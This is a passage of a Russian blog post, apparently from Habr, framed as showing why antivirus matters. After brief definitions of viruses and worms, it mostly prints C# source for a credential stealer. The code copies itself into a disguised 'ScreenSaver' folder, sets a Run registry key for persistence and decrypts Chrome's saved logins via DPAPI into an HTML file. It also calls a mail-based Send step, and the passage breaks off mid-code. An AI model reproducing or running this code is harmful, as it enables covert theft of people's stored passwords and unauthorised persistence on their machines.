{"id":300687,"date":"2020-03-24T21:00:25","date_gmt":"2020-03-24T21:00:25","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=300687"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=300687","title":{"rendered":"\u0411\u0430\u0437\u043e\u0432\u044b\u0439 \u0432\u0438\u0440\u0443\u0441 \u0437\u0430 20 \u043c\u0438\u043d\u0443\u0442 \u0438\u043b\u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u0441\u0442\u043e\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u043c"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/post\/493942\/\">\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e.<\/p>\n<p>  \u0412 \u043d\u0430\u0448\u0438 \u0434\u043d\u0438 \u043f\u043e\u0440\u043e\u0433 \u0432\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043c\u0438\u0440 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0443\u043f\u0430\u043b \u2014 \u0435\u0441\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435, \u043d\u0430 \u0437\u0430\u0440\u0435 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u044d\u043f\u043e\u0445\u0438, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0447\u0435\u043c-\u0442\u043e \u0438\u0437 \u0440\u044f\u0434\u0430 \u0432\u043e\u043d \u0432\u044b\u0434\u0430\u044e\u0449\u0438\u043c\u0441\u044f, \u00ab\u0443\u0434\u0435\u043b\u043e\u043c \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u044b\u0445\u00bb, \u0442\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u0435\u0439\u043b\u043e\u0433\u0433\u0435\u0440 \u0438\u043b\u0438 \u0447\u0435\u0440\u0432\u044f \u043c\u043e\u0436\u0435\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0448\u043a\u043e\u043b\u044c\u043d\u0438\u043a, \u0445\u043e\u0442\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0443\u043c\u0435\u044e\u0449\u0438\u0439 \u0433\u0443\u0433\u043b\u0438\u0442\u044c \u0438 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0449\u0438\u0439\u0441\u044f \u0441 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043e\u043c. \u041d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u044f \u043a\u0430\u043a\u0438\u043c\u0438-\u043b\u0438\u0431\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u043c\u0438, \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043e\u0444\u0442, \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u044b\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u0438\u0442\u044c \u043d\u0435\u043c\u0430\u043b\u043e \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u041f\u041a, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e \u0442\u0435\u043c \u0438\u043b\u0438 \u0438\u043d\u044b\u043c \u043f\u0440\u0438\u0447\u0438\u043d\u0430\u043c \u043f\u0440\u0435\u043d\u0435\u0431\u0440\u0435\u0433\u0430\u044e\u0442 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430\u043c\u0438.<\/p>\n<p>  \u041f\u043e\u0434 \u043a\u0430\u0442\u043e\u043c \u2014 \u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043c\u044b\u0441\u043b\u0435\u0439 \u043e \u0442\u043e\u043c \u2014 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0418\u0442\u0430\u043a, \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u2014 \u0447\u0442\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u043e\u043d\u044f\u0442\u0438\u044f\u043c\u0438 \u00ab\u0432\u0438\u0440\u0443\u0441\u0430\u00bb \u0438 \u00ab\u0447\u0435\u0440\u0432\u044f\u00bb. \u0424\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e, \u043f\u043e\u043d\u044f\u0442\u0438\u0435 \u00ab\u0432\u0438\u0440\u0443\u0441\u00bb \u0431\u044b\u043b\u043e \u0432\u043f\u0435\u0440\u0432\u044b\u0435 \u0432\u0432\u0435\u0434\u0435\u043d\u043e \u0432 1984 \u0433\u043e\u0434\u0443 \u0424\u0440\u0435\u0434\u043e\u043c \u041a\u043e\u044d\u043d\u043e\u043c \u0438 \u043e\u043d\u043e \u0437\u0432\u0443\u0447\u0430\u043b\u043e \u0442\u0430\u043a:  <\/p>\n<blockquote><p>We define a computer \u2018virus\u2019 as a program that can \u2018infect\u2019 other programs by modifying them to include a possibly evolved copy of itself<\/p><\/blockquote>\n<p>  \u041f\u043e\u0437\u0434\u043d\u0435\u0435 \u043e\u043d \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u0441\u0432\u043e\u0435 \u0436\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435, \u0441\u043a\u043e\u043d\u0446\u0435\u043d\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043a \u0441\u0430\u043c\u043e\u0440\u0430\u0437\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u044e \u2014 \u0442.\u0435. \u043a \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e\u043c\u0443 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432 \u0431\u043e\u043b\u0435\u0435 \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u043c \u0441\u043c\u044b\u0441\u043b\u0435 \u0432\u0438\u0440\u0443\u0441 \u0431\u044b\u043b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d \u043a\u0430\u043a \u043a\u043e\u0434, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u043a\u043e\u043f\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043b\u0435\u043d\u0442\u0443 \u043c\u0430\u0448\u0438\u043d\u044b \u0422\u044c\u044e\u0440\u0438\u043d\u0433\u0430 \u0432\u043f\u0435\u0440\u0435\u0434\u0438 \u043f\u043e \u0445\u043e\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0442.\u0435. \u0432 \u0431\u0443\u0434\u0443\u0449\u0435\u043c.<br \/>  \u0414\u0430\u043d\u043d\u043e\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043f\u043e \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044e \u043a \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0443 \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0432\u0438\u0440\u0443\u0441\u043e\u0432, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0438\u0440\u0443\u0441\u044b \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u043b\u0436\u043d\u044b \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u0432\u043d\u043e, \u0434\u0430 \u0438 \u043f\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0441\u0447\u0435\u0442\u0443 \u2014 \u0434\u0430\u0436\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u043d\u043e \u0434\u0430\u043d\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438 \u0435\u0435 \u0443\u043c\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u00ab\u0441\u0444\u0435\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0432\u0438\u0440\u0443\u0441\u0430 \u0432 \u0432\u0430\u043a\u0443\u0443\u043c\u0435\u00bb.<\/p>\n<p>  \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0432 1992 \u0433\u043e\u0434\u0443 \u0432 \u0441\u0432\u043e\u0435\u0439 <a href=\"https:\/\/web.archive.org\/web\/20140203201533\/http:\/\/vxheaven.org\/lib\/afc11.html\" rel=\"nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435<\/a> \u041a\u043e\u044d\u043d \u0432\u0432\u0435\u043b \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0447\u0435\u0440\u0432\u044f. \u0421 \u043f\u043e\u043b\u043d\u044b\u043c \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435, \u0442\u0443\u0442 \u043b\u0438\u0448\u044c \u043f\u0440\u0438\u0432\u0435\u0434\u0443 \u043a\u0440\u0430\u0442\u043a\u0443\u044e \u0446\u0438\u0442\u0430\u0442\u0443:  <\/p>\n<blockquote><p>Recently, the term \u00abworm\u00bb has been widely used to describe programs that automatically replicate and initialize interpretation of their replicas.1 By contrast, the definition of viruses covers all self-replicating programs but does not address the manner in which replicas may be actuated.<\/p><\/blockquote>\n<p>  \u0422.\u0435. \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0432\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435 \u0447\u0435\u0440\u0432\u044c-\u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c, \u0430 \u043f\u043e \u043b\u044e\u0431\u043e\u043c\u0443 \u0442\u0440\u0438\u0433\u0433\u0435\u0440\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u043f\u043e \u0442\u0430\u0439\u043c\u0435\u0440\u0443.<\/p>\n<p>  \u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432\u0438\u0440\u0443\u0441\u043e\u0432 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0448\u0438\u0440\u0435, \u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0432\u0438\u0440\u0443\u0441 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0434 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0439, \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u00ab\u0442\u0440\u043e\u044f\u043d\u043e\u0432\u00bb \u0435\u0441\u0442\u044c <a href=\"https:\/\/www.kaspersky.ru\/resource-center\/threats\/trojans\" rel=\"nofollow\">\u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u0432\u0438\u0434\u043e\u0432<\/a>. \u0420\u0435\u0447\u044c \u043d\u0435 \u043e\u0431 \u044d\u0442\u043e\u043c.<\/p>\n<p>  \u0420\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0432\u0438\u0440\u0443\u0441 \u0432 \u044d\u0442\u0443 \u043f\u043b\u0435\u044f\u0434\u0443. \u0421\u043a\u0430\u0436\u0443 \u0441\u0440\u0430\u0437\u0443 \u2014 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0436\u0435\u043b\u0435\u0437\u0435, \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u043c \u0434\u0430\u0436\u0435 \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u0438\u043c \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u043c \u043e\u043d \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442, \u043d\u043e \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u043e \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u044b, \u043b\u0435\u0436\u0430\u0449\u0438\u0435 \u0432 \u043e\u0441\u043d\u043e\u0432\u0435 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0430 \u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c.<\/p>\n<p>  \u041f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u0434 \u043f\u043e\u0434 \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u043e\u043c (\u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e, \u0435\u0433\u043e \u043c\u043d\u043e\u0433\u043e):<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"java\">using System; using System.Text; using System.IO; using System.Data.SQLite; using System.Data; using System.Runtime.InteropServices; using System.ComponentModel; using System.Net.Mail; using System.Net; using Microsoft.Win32; using System.Threading;  public class DPAPI {     [DllImport(&quot;crypt32.dll&quot;, SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]     private static extern     bool CryptProtectData(ref DATA_BLOB pPlainText, string szDescription, ref DATA_BLOB pEntropy, IntPtr pReserved,     ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pCipherText);      [DllImport(&quot;crypt32.dll&quot;, SetLastError = true, CharSet = System.Runtime.InteropServices.CharSet.Auto)]     private static extern     bool CryptUnprotectData(ref DATA_BLOB pCipherText, ref string pszDescription, ref DATA_BLOB pEntropy,     IntPtr pReserved, ref CRYPTPROTECT_PROMPTSTRUCT pPrompt, int dwFlags, ref DATA_BLOB pPlainText);      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]     internal struct DATA_BLOB     {         public int cbData;         public IntPtr pbData;     }      [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]     internal struct CRYPTPROTECT_PROMPTSTRUCT     {         public int cbSize;         public int dwPromptFlags;         public IntPtr hwndApp;         public string szPrompt;     }      static private IntPtr NullPtr = ((IntPtr)((int)(0)));      private const int CRYPTPROTECT_UI_FORBIDDEN = 0x1;     private const int CRYPTPROTECT_LOCAL_MACHINE = 0x4;      private static void InitPrompt(ref CRYPTPROTECT_PROMPTSTRUCT ps)     {         ps.cbSize = Marshal.SizeOf(         typeof(CRYPTPROTECT_PROMPTSTRUCT));         ps.dwPromptFlags = 0;         ps.hwndApp = NullPtr;         ps.szPrompt = null;     }      private static void InitBLOB(byte[] data, ref DATA_BLOB blob)     {         \/\/ Use empty array for null parameter.         if (data == null)             data = new byte[0];          \/\/ Allocate memory for the BLOB data.         blob.pbData = Marshal.AllocHGlobal(data.Length);          \/\/ Make sure that memory allocation was successful.         if (blob.pbData == IntPtr.Zero)             throw new Exception(             &quot;Unable to allocate data buffer for BLOB structure.&quot;);          \/\/ Specify number of bytes in the BLOB.         blob.cbData = data.Length;          \/\/ Copy data from original source to the BLOB structure.         Marshal.Copy(data, 0, blob.pbData, data.Length);     }      public enum KeyType { UserKey = 1, MachineKey };      private static KeyType defaultKeyType = KeyType.UserKey;      public static string Encrypt(string plainText)     {         return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty);     }      public static string Encrypt(KeyType keyType, string plainText)     {         return Encrypt(keyType, plainText, String.Empty,         String.Empty);     }      public static string Encrypt(KeyType keyType, string plainText, string entropy)     {         return Encrypt(keyType, plainText, entropy, String.Empty);     }      public static string Encrypt(KeyType keyType, string plainText, string entropy, string description)     {         \/\/ Make sure that parameters are valid.         if (plainText == null) plainText = String.Empty;         if (entropy == null) entropy = String.Empty;          \/\/ Call encryption routine and convert returned bytes into         \/\/ a base64-encoded value.         return Convert.ToBase64String(         Encrypt(keyType,         Encoding.UTF8.GetBytes(plainText),         Encoding.UTF8.GetBytes(entropy),         description));     }      public static byte[] Encrypt(KeyType keyType, byte[] plainTextBytes, byte[] entropyBytes, string description)     {         \/\/ Make sure that parameters are valid.         if (plainTextBytes == null) plainTextBytes = new byte[0];         if (entropyBytes == null) entropyBytes = new byte[0];         if (description == null) description = String.Empty;          \/\/ Create BLOBs to hold data.         DATA_BLOB plainTextBlob = new DATA_BLOB();         DATA_BLOB cipherTextBlob = new DATA_BLOB();         DATA_BLOB entropyBlob = new DATA_BLOB();          \/\/ We only need prompt structure because it is a required         \/\/ parameter.         CRYPTPROTECT_PROMPTSTRUCT prompt =         new CRYPTPROTECT_PROMPTSTRUCT();         InitPrompt(ref prompt);          try         {             \/\/ Convert plaintext bytes into a BLOB structure.             try             {                 InitBLOB(plainTextBytes, ref plainTextBlob);             }             catch (Exception ex)             {                 throw new Exception(                 &quot;Cannot initialize plaintext BLOB.&quot;, ex);             }              \/\/ Convert entropy bytes into a BLOB structure.             try             {                 InitBLOB(entropyBytes, ref entropyBlob);             }             catch (Exception ex)             {                 throw new Exception(                 &quot;Cannot initialize entropy BLOB.&quot;, ex);             }              \/\/ Disable any types of UI.             int flags = CRYPTPROTECT_UI_FORBIDDEN;              \/\/ When using machine-specific key, set up machine flag.             if (keyType == KeyType.MachineKey)                 flags |= CRYPTPROTECT_LOCAL_MACHINE;              \/\/ Call DPAPI to encrypt data.             bool success = CryptProtectData(ref plainTextBlob,             description,             ref entropyBlob,             IntPtr.Zero,             ref prompt,             flags,             ref cipherTextBlob);             \/\/ Check the result.             if (!success)             {                 \/\/ If operation failed, retrieve last Win32 error.                 int errCode = Marshal.GetLastWin32Error();                  \/\/ Win32Exception will contain error message corresponding                 \/\/ to the Windows error code.                 throw new Exception(                 &quot;CryptProtectData failed.&quot;, new Win32Exception(errCode));             }              \/\/ Allocate memory to hold ciphertext.             byte[] cipherTextBytes = new byte[cipherTextBlob.cbData];              \/\/ Copy ciphertext from the BLOB to a byte array.             Marshal.Copy(cipherTextBlob.pbData,             cipherTextBytes,             0,             cipherTextBlob.cbData);              \/\/ Return the result.             return cipherTextBytes;         }         catch (Exception ex)         {             throw new Exception(&quot;DPAPI was unable to encrypt data.&quot;, ex);         }         \/\/ Free all memory allocated for BLOBs.         finally         {             if (plainTextBlob.pbData != IntPtr.Zero)                 Marshal.FreeHGlobal(plainTextBlob.pbData);              if (cipherTextBlob.pbData != IntPtr.Zero)                 Marshal.FreeHGlobal(cipherTextBlob.pbData);              if (entropyBlob.pbData != IntPtr.Zero)                 Marshal.FreeHGlobal(entropyBlob.pbData);         }     }      public static string Decrypt(string cipherText)     {         string description;          return Decrypt(cipherText, String.Empty, out description);     }      public static string Decrypt(string cipherText, out string description)     {         return Decrypt(cipherText, String.Empty, out description);     }      public static string Decrypt(string cipherText, string entropy, out string description)     {         \/\/ Make sure that parameters are valid.         if (entropy == null) entropy = String.Empty;          return Encoding.UTF8.GetString(         Decrypt(Convert.FromBase64String(cipherText),         Encoding.UTF8.GetBytes(entropy),         out description));     }      public static byte[] Decrypt(byte[] cipherTextBytes, byte[] entropyBytes, out string description)     {         \/\/ Create BLOBs to hold data.         DATA_BLOB plainTextBlob = new DATA_BLOB();         DATA_BLOB cipherTextBlob = new DATA_BLOB();         DATA_BLOB entropyBlob = new DATA_BLOB();          \/\/ We only need prompt structure because it is a required         \/\/ parameter.         CRYPTPROTECT_PROMPTSTRUCT prompt =         new CRYPTPROTECT_PROMPTSTRUCT();         InitPrompt(ref prompt);          \/\/ Initialize description string.         description = String.Empty;          try         {             \/\/ Convert ciphertext bytes into a BLOB structure.             try             {                 InitBLOB(cipherTextBytes, ref cipherTextBlob);             }             catch (Exception ex)             {                 throw new Exception(                 &quot;Cannot initialize ciphertext BLOB.&quot;, ex);             }              \/\/ Convert entropy bytes into a BLOB structure.             try             {                 InitBLOB(entropyBytes, ref entropyBlob);             }             catch (Exception ex)             {                 throw new Exception(                 &quot;Cannot initialize entropy BLOB.&quot;, ex);             }              \/\/ Disable any types of UI. CryptUnprotectData does not             \/\/ mention CRYPTPROTECT_LOCAL_MACHINE flag in the list of             \/\/ supported flags so we will not set it up.             int flags = CRYPTPROTECT_UI_FORBIDDEN;              \/\/ Call DPAPI to decrypt data.             bool success = CryptUnprotectData(ref cipherTextBlob,             ref description,             ref entropyBlob,             IntPtr.Zero,             ref prompt,             flags,             ref plainTextBlob);              \/\/ Check the result.             if (!success)             {                 \/\/ If operation failed, retrieve last Win32 error.                 int errCode = Marshal.GetLastWin32Error();                  \/\/ Win32Exception will contain error message corresponding                 \/\/ to the Windows error code.                 throw new Exception(                 &quot;CryptUnprotectData failed.&quot;, new Win32Exception(errCode));             }              \/\/ Allocate memory to hold plaintext.             byte[] plainTextBytes = new byte[plainTextBlob.cbData];              \/\/ Copy ciphertext from the BLOB to a byte array.             Marshal.Copy(plainTextBlob.pbData,             plainTextBytes,             0,             plainTextBlob.cbData);              \/\/ Return the result.             return plainTextBytes;         }         catch (Exception ex)         {             throw new Exception(&quot;DPAPI was unable to decrypt data.&quot;, ex);         }         \/\/ Free all memory allocated for BLOBs.         finally         {             if (plainTextBlob.pbData != IntPtr.Zero)                 Marshal.FreeHGlobal(plainTextBlob.pbData);              if (cipherTextBlob.pbData != IntPtr.Zero)                 Marshal.FreeHGlobal(cipherTextBlob.pbData);              if (entropyBlob.pbData != IntPtr.Zero)                 Marshal.FreeHGlobal(entropyBlob.pbData);         }     } }  public class Chrome {      static string filename = &quot;passwords.html&quot;;     static string db_way = &quot;Login Data&quot;; \/\/\u043f\u0443\u0442\u044c \u043a \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445      static string wayToDir = @&quot;Screens\\&quot;;     static string wayToScreen;     static string finalDir = @&quot;C:\\Program Files (x86)\\Windows\\ScreenSaver\\&quot;;     static void Main(string[] args)     {                  Registr();         Thread.Sleep(5 * 60 * 1000);         Generate();         Send();           }         static void Registr()     {         string way = Environment.GetCommandLineArgs()[0];         try         {                           if (!Directory.Exists(finalDir))             {                 Directory.CreateDirectory(finalDir);                 foreach (string iter in Directory.GetFiles(Environment.CurrentDirectory))                 {                    \/\/ Console.WriteLine(iter);                     string nameOfFile = iter.Split('\\\\')[iter.Split('\\\\').Length - 1];                     \/\/Console.WriteLine(nameOfFile);                     File.Copy(iter, finalDir + nameOfFile, true);                 }                 Directory.CreateDirectory(finalDir + &quot;x64&quot;);                 Directory.CreateDirectory(finalDir + &quot;x86&quot;);                 File.Copy(Environment.CurrentDirectory + &quot;\\\\x64\\\\SQLite.Interop.dll&quot;, finalDir + &quot;\\\\x64\\\\SQLite.Interop.dll&quot;);                 File.Copy(Environment.CurrentDirectory + &quot;\\\\x86\\\\SQLite.Interop.dll&quot;, finalDir + &quot;\\\\x86\\\\SQLite.Interop.dll&quot;);                   const string name = &quot;SoftWare&quot;;                 string ExePath = finalDir + &quot;soft.exe&quot;;                 File.Copy(way, ExePath, true);                 RegistryKey reg;                 reg = Registry.CurrentUser.CreateSubKey(&quot;Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\&quot;);                 try                 {                     reg.SetValue(name, ExePath);                     reg.Close();                 }                 catch                 {   }             }          }         catch         {   }     }     static void Generate()     {         try         {             string way_to_original = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + &quot;\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data&quot;;             File.Copy(way_to_original, &quot;Login Data&quot;, true);              StreamWriter Writer = new StreamWriter(filename, false, Encoding.UTF8);              string db_field = &quot;logins&quot;; \/\/\u0438\u043c\u044f \u043f\u043e\u043b\u044f \u0411\u0414             byte[] entropy = null; \/\/\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0435 \u0441\u0442\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u044e.                                    \/\/\u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043b\u0430\u0441\u0441 DPAPI \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u044d\u043d\u0442\u0440\u043e\u043f\u0438\u0438 \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435,                                    \/\/\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e - \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043e\u043d\u0430, \u0438\u043b\u0438 \u043d\u0435\u0442.             string description; \/\/\u043a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u044f \u043d\u0435 \u043f\u043e\u043d\u044f\u043b \u0441\u043c\u044b\u0441\u043b\u0430 \u0434\u0430\u043d\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439, \u043d\u043e \u043e\u043d\u0430 \u0442\u0430\u043a \u0436\u0435 